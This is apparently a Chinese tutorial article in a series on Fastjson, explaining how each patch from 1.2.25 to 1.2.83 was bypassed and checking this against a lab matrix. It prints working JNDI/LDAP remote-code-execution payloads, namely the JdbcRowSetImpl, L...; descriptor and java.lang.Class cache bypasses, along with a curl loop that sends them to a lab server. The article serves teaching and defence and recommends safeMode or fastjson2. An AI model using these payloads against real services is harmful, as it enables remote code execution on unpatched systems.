Fastjson 漏洞 · 04 · 绕过军备竞赛:1.2.25 → 1.2.83
这一篇是本系列的核心从默认能打到越来越难打每一个补丁改了什么、攻击者怎么绕、为什么最终必须放弃 1.x 的 autoType 模型。所有结论都对应配套靶场的实测矩阵lab/fastjson-lab/verify-output.txt引子一场持续七年、教科书级的打补丁—绕过战争Fastjson 的反序列化问题从 2017 年延续到 2022 年版本号从 1.2.24 一路补到 1.2.83。它不是一个 CVE 一个补丁而是一长串 CVE 和无数次绕过每修一个安全研究者就找到一个新写法官方黑名单越长绕过的套路越多。这段历史是理解为什么安全不能依赖黑名单的最好教材。几个关键节点足以看出这场拉锯的节奏1.2.24autoType 默认开启type直接打无需技巧1.2.25引入checkAutoType和黑名单autoType 默认关闭——第一次防守1.2.41 / 1.2.42L...;类描述符绕过与修复1.2.47出现只靠 fastjson 自身、不依赖外部库的通用缓存绕过影响极广1.2.68官方加入safeMode并引入ExpectClass1.2.80官方公告承认特定依赖存在下仍可绕过对应 CVE-2022-258451.2.83修复该绕过同时官方给出升 1.2.83 / 开 safeMode / 迁 fastjson2三条路。本篇不满足于贴版本号而是用配套靶场的实测矩阵把哪个版本、哪种写法能打一条条验证出来再讲清每次补丁改了什么、绕过为什么成立。看懂之后就会明白已升到 1.2.80并不等于安全因为绕过取决于依赖树里有什么 gadget。本篇要点L...;绕过为什么能生效它在利用哪个环节的不一致1.2.47 的缓存绕过 payload 里java.lang.Class到底干了什么为什么 1.2.62 之后通用 payload集体失效但系统仍可能不安全官方说的特定依赖存在下是什么意思对防守判断有何影响safeMode 为什么没有绕过一、先把靶场矩阵摆出来实测在靶场对每个版本发送同一批 payloadJNDI 目标指向靶场内置恶意 LDAP/HTTP 服务判定是否产生 JNDI 回调并执行。matrix.py只是把逐版本重启 发送 统计回调自动化不依赖脚本时按下面的循环手动做即可。cd /opt/fastjson-lab for v in 1.2.24 1.2.25 1.2.41 1.2.42 1.2.43 1.2.47 1.2.62 1.2.68 1.2.80 1.2.83; do pkill -f com.lab.fastjson.FastjsonLab; sleep 1 /opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebasetrue \ -cp target/fastjson-lab.jar:lib/fastjson-$v.jar \ com.lab.fastjson.FastjsonLab --port 8080 fastjson-lab.log 21 # 换 classpath 里的版本 sleep 2 : /opt/jndi-server/callbacks.log # 清空回调 curl -s -G http://127.0.0.1:8080/parse --data-urlencode \ data{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.143.156:1389/cnExploit,dclab,dclocal,autoCommit:true} /dev/null echo $v 回调$(wc -l /opt/jndi-server/callbacks.log) # 回调0 即触发 done实测结果如下行payload列fastjson 版本RCE表示产生 JNDI 回调并执行payload1.2.241.2.251.2.411.2.421.2.431.2.471.2.621.2.681.2.801.2.83direct直接写危险类名RCEblockedblockedblockedblockedblockedblockedblockedblockedblockedL-prefixL...;描述符RCERCERCEblockedblockedblockedblockedblockedblockedblockedcache-Classjava.lang.Class缓存RCERCERCERCERCERCEblockedblockedblockedblockedexpectClassRCEblockedRCERCERCERCEblockedblockedblockedblockedthrowableRCEblockedRCERCERCERCEblockedblockedblockedblockedautotype-direct开 autoTypeRCEblockedRCERCERCERCEblockedblockedblockedblockedautotype-cache开 autoType缓存RCEblockedRCERCERCERCEblockedblockedblockedblocked读表要点1.2.24 全绿autoType 默认开启无需技巧1.2.25 首回合防守direct被挡但L-prefix、cache-Class仍可绕1.2.42 修掉L-prefix但cache-Class仍通1.2.47 的cache-Class是只靠 fastjson 自身、不依赖外部库的通用绕过1.2.62 起通用 payload 全部失效表中 payload 是通用的、只需要 fastjson 本身的写法。后面会说明1.2.62 之后不是绝对安全而是绕过开始依赖项目里碰巧存在的第三方 gadget / 特定解析上下文通用性大幅下降。二、1.2.24 → 1.2.25守门函数登场1.2.24 及更早autoType 默认开启{type:com.sun.rowset.JdbcRowSetImpl,...}直接打无需任何技巧。1.2.25 的修复引入checkAutoType内置一份黑名单且 autoType 默认关闭。于是直接写危险类名会得到ERROR: ... autoType is not support. com.sun.rowset.JdbcRowSetImpl攻击者的应对黑名单只比对规范化后的类名而规范化逻辑不够严。用类描述符写法L...;即可让黑名单比对失败、而实际加载时又被还原{type:Lcom.sun.rowset.JdbcRowSetImpl;,dataSourceName:ldap://...,autoCommit:true}靶场实测 1.2.25、1.2.41 上确实能打L-prefix RCE。这就是军备竞赛的典型回合补丁修补的是类名比对绕过换的是类名长相。三、1.2.42修掉L...;但缓存漏洞已现1.2.42 在checkAutoType里把L/;的规范化补齐无论哪种路径都先剥壳L-prefix随之失效矩阵里 1.2.42 的L-prefix变为blocked。但 1.2.42~1.2.47 上另一种写法仍然能打。这就是缓存绕过原理在上一篇讲过——检查顺序里查缓存在查黑名单之前。缓存绕过 payload{ a: {type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl}, b: {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://...,autoCommit:true} }逐段解释解析a时type是java.lang.Class——这个类本身是允许的不是危险类。Fastjson 用MiscCodec处理它取val作为要加载的类名并把这个类放入TypeUtils的缓存映射于是com.sun.rowset.JdbcRowSetImpl被登记进缓存解析b时checkAutoType第一步查缓存就命中了在黑名单检查之前直接放行后续照旧触发 JNDI → RCE。Java 说明MiscCodecFastjson 处理特殊类型的内置编解码器。遇到type为java.lang.Class时它会读取val字段把其中的类名加载成Class。TypeUtilsFastjson 的类型工具类内部维护一张类名 → Class的映射缓存mappings。该绕过利用的正是检查逻辑先查缓存、再查黑名单的顺序缺陷只要先用java.lang.Class把危险类塞进缓存后续检查就会放行。因果总结这个绕过不依赖任何外部 gadget只需要 fastjson 一个Class类型属性 两个字段。所以在 1.2.47 上它被公认为最通用的 autoType 绕过。靶场里 1.2.47、1.2.42、1.2.41、1.2.25 的cache-Class均为RCE验证了这一点。为什么 1.2.62 之后不行了1.2.62 / 1.2.68 对缓存路径也加了判断不再是在缓存里就无条件放行危险类即便进了缓存仍会被拦。矩阵里 1.2.62 起cache-Class变为blocked。四、1.2.68safeMode 与 ExpectClass1.2.68 有两个重要变化引入 safeMode一旦开启无论黑白名单都不支持 autoType等于彻底关掉这条攻击面。这是防守方目前最稳的亡羊补牢。引入ExpectClass期望类型机制当解析上下文已经知道期望的类型时如果type指定的类是其子类/实现可能被放行。ExpectClass本身是为了兼容泛型/接口多态但它带来了新的绕过思路让解析上下文期望一个宽泛的接口比如java.lang.AutoCloseable再让type指向实现了该接口的危险类。注意这类绕过不是万能 payload它要求业务代码恰好以带期望类型的方式解析例如parseObject(json, SomeWrapper.class)而SomeWrapper的字段类型是某个接口。在本靶场的/parse无期望类型下无法复现ExpectClass绕过——矩阵里expectClass在 1.2.68 为blocked。这恰恰说明一个重要事实1.2.68 之后的绕过是条件化的和业务代码的解析方式强相关不再是一条 payload 通吃。五、1.2.80 与 CVE-2022-25845依赖型绕过2022 年 5 月Fastjson 官方发布安全公告wiki:security_update_20220523原文要点近日 Fastjson Develop Team 发现 fastjson 1.2.80 及以下存在新的风险……特定依赖存在下影响 ≤1.2.80建议升级 1.2.83或开启 safeMode或使用 fastjson v2。关键词是特定依赖存在下。也就是说这个绕过需要一个项目里恰好存在的第三方 gadget 类属于某个依赖库且能触发危险行为来配合它不是只要用 fastjson 1.2.80 就能打没有对应依赖就打不动因此在本靶场的最小依赖fastjson 少量 gadget 库下矩阵里 1.2.80 的通用 payload 全部blocked。额外试过依赖型 gadget如 xbean 的JndiConverter在 1.2.68 默认配置下同样被拦。这个事实对防守方的启示是已升到 1.2.80并不等于安全因为依赖树里有什么 gadget攻击者比使用者更清楚。1.2.83 才修复了该次绕过且官方明确建议迁移 fastjson2。六、1.2.83 与通用 payload 的终结1.2.83 的效果矩阵里所有通用 payload 全部blocked。同时官方给出三条路升级到 1.2.83有 autoType 行为变更可能不兼容开启 safeMode1.2.68完全关闭 autoType最稳但可能影响业务迁移 fastjson v2重写版本不再为兼容保留白名单安全模型不同。到这一步1.x 的 autoType 模型已经补丁叠补丁官方也承认这套设计本身是负担。现代项目的正确答案不是打补丁到最新 1.x而是上 fastjson2 或换 Jackson 并关闭多态反序列化。七、为什么绕过注定条件化把整场军备竞赛抽象一下黑名单比对类名 - 绕换个类名长相L...; 黑名单 规范化 - 绕走缓存让检查在命中黑名单前就放行 修缓存路径 - 绕换依赖库里的等价 gadget项目恰好有这个依赖 加 ExpectClass 限制 - 绕利用业务带期望类型的解析上下文 safeMode - 没有绕过因为直接不看黑白名单了规律只要类名可由输入决定这个根还在攻防就永远在追补丁safeMode/fastjson2 是拔掉根所以没有绕过。这就是下一篇要讲的现代方向。八、自测L...;绕过能生效是因为黑名单和实际加载用了不同的类名规范化——请解释这句话。缓存绕过为什么能跳过黑名单它的 payload 里java.lang.Class起了什么作用为什么 1.2.68 之后的绕过和业务解析方式强相关举一个ExpectClass绕过的前提。官方公告说特定依赖存在下影响 ≤1.2.80这句话对防守方的判断意味着什么safeMode 为什么没有绕过它和黑名单在原理上有什么根本区别

相关新闻

EtherCAT DC 分布式时钟同步的 ModelSim 仿真:从帧模板到从站行为建模

EtherCAT DC 分布式时钟同步的 ModelSim 仿真:从帧模板到从站行为建模

EtherCAT DC 分布式时钟同步的 ModelSim 仿真:从帧模板到从站行为建模关键词:EtherCAT、DC 分布式时钟、ESC、0x0918、0x0110 DL Status、ModelSim、Verilog testbench、行为级建模、线型拓扑 适用人群:正在做 EtherCAT 主站 FPGA 实现、需要…

2026/10/5 9:23:01 阅读更多 →
不烧显卡!MiniMind-O如何在纯CPU上实现快速实时语音推理

不烧显卡!MiniMind-O如何在纯CPU上实现快速实时语音推理

不烧显卡!MiniMind-O如何在纯CPU上实现快速实时语音推理 【免费下载链接】minimind-o 🎙️ A 0.1B Omni model trained from scratch, capable of listening, speaking, and seeing! 项目地址: https://gitcode.com/gh_mirrors/mi/minimind-o Min…

2026/10/5 14:22:06 阅读更多 →
Codex C接 配置教程:的 字段从迁移时必须写完整后缀,填旧值或省略 会静默回退默认模型

Codex C接 配置教程:的 字段从迁移时必须写完整后缀,填旧值或省略 会静默回退默认模型

上周我把 Codex CLI 从 gpt-5.5 升到 gpt-5.6-sol,折腾了不少时间。原因很直接——gpt-5.6-sol 属于 5.6 系列的子模型(sol/luna/terra 三选一),model 字段必须写完整的 gpt-5.6-sol 而不是 gpt-5.6,否则请求会被路由层…

2026/10/3 22:40:08 阅读更多 →

最新新闻

ADMM多主体协同调度:EV用户演化+绿证碳交易融合模型

ADMM多主体协同调度:EV用户演化+绿证碳交易融合模型

简介:本资源是一篇面向智能电网与低碳能源系统研究者的学术论文复现资料,聚焦“双碳”目标下电动汽车用户演化与多主体协同优化问题,为从事能源管理、多主体博弈建模及分布式优化算法应用的科研人员与工程师提供完整技术支撑。资源包含1个PDF…

2026/10/5 14:24:43 阅读更多 →
Spring Boot拍卖网站系统核心实现与并发竞价控制实战

Spring Boot拍卖网站系统核心实现与并发竞价控制实战

说实话,看到“基于Spring Boot拍卖网站”这个标题,我是很有共鸣的。不只是因为这类选题太常见,而是拍卖这种业务模式在技术实现上确实有点意思——它跟普通电商那种“标价-下单-支付”的直线流程完全不一样,涉及时间边界、并发竞价…

2026/10/5 14:24:43 阅读更多 →
VOC格式转YOLO实战:1702张西瓜数据集训练避坑指南

VOC格式转YOLO实战:1702张西瓜数据集训练避坑指南

简介:面向目标检测入门学习与实际工程验证的西瓜图像数据集,采用标准Pascal VOC标注格式,解决西瓜类别检测训练样本不足、标注口径不一等问题。数据集包含1702张真实场景jpg图片,每张图片均配有同名xml标注文件,标注框…

2026/10/5 14:24:43 阅读更多 →
从零搭建个人知识库问答机器人:Agent与RAG实战指南

从零搭建个人知识库问答机器人:Agent与RAG实战指南

1. 为什么我要从零搭一个个人知识库问答机器人我自己平时有大量阅读和记录的习惯,散落在各种笔记软件、Markdown 文件、网页剪藏里的资料少说也有几千篇。时间一长就出现一个很尴尬的问题:东西明明存过,但真要用的时候死活找不到。全文搜索只…

2026/10/5 14:24:43 阅读更多 →
两级DFF同步器:跨时钟域亚稳态消除的经典实践

两级DFF同步器:跨时钟域亚稳态消除的经典实践

异步总线交互是一个绕不开的坎。只要你做数字IC设计或者FPGA开发,只要你的系统里存在两个以上的时钟域,就一定会在某个深夜,被仿真波形里那些莫名其妙的高阻态、X态,或者有时候灵有时候不灵的功能故障折磨得焦头烂额。而绝大多数此…

2026/10/5 14:24:43 阅读更多 →
企业智能体平台落地:五种实现路径与生产环境避坑指南

企业智能体平台落地:五种实现路径与生产环境避坑指南

1. 企业智能体平台落地困境的底层逻辑1.1 为什么“能跑通Demo”和“能上线生产”是两回事过去一年我参与过四个企业级智能体平台的选型与落地,从制造业的质检知识助手到金融行业的合规审查工作流,几乎每一个项目都经历过同一个尴尬阶段:Demo演…

2026/10/5 14:23:42 阅读更多 →

日新闻

马斯克杀回智能体战场,Grok 4.5万亿参数撑腰,Cursor接手数字白领项目:用TaoToken统一Key跑通多模型Agent工作流

马斯克杀回智能体战场,Grok 4.5万亿参数撑腰,Cursor接手数字白领项目:用TaoToken统一Key跑通多模型Agent工作流

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/5 0:00:22 阅读更多 →
AI编程工具插件机制详解:plugin.json配置与加载失败排查指南

AI编程工具插件机制详解:plugin.json配置与加载失败排查指南

1. 从“plugins”这个词说起:它到底在解决什么问题如果你最近在折腾 AI 编程工具,尤其是 Cursor、Codex CLI、Claude Code 这类带 CLI 的编辑器或命令行助手,那你大概率绕不开一个词——plugins。这个词本身不新鲜,从浏览器到 IDE…

2026/10/5 0:00:23 阅读更多 →
第26课:OpenClaw|日志审计与问题诊断:把日志链路改到 TaoToken 的排查清单

第26课:OpenClaw|日志审计与问题诊断:把日志链路改到 TaoToken 的排查清单

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/5 0:00:23 阅读更多 →

周新闻

KT148A语音芯片外挂8002D功放的工程实践指南

KT148A语音芯片外挂8002D功放的工程实践指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/5 5:06:42 阅读更多 →
LLC谐振变换器增益公式推导:从FHA等效到完整归一化表达式

LLC谐振变换器增益公式推导:从FHA等效到完整归一化表达式

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/5 1:10:22 阅读更多 →
ARM架构深度解析:从RISC设计理念到交叉编译实战

ARM架构深度解析:从RISC设计理念到交叉编译实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/5 3:06:17 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/4 11:40:45 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/4 9:43:54 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/4 20:14:29 阅读更多 →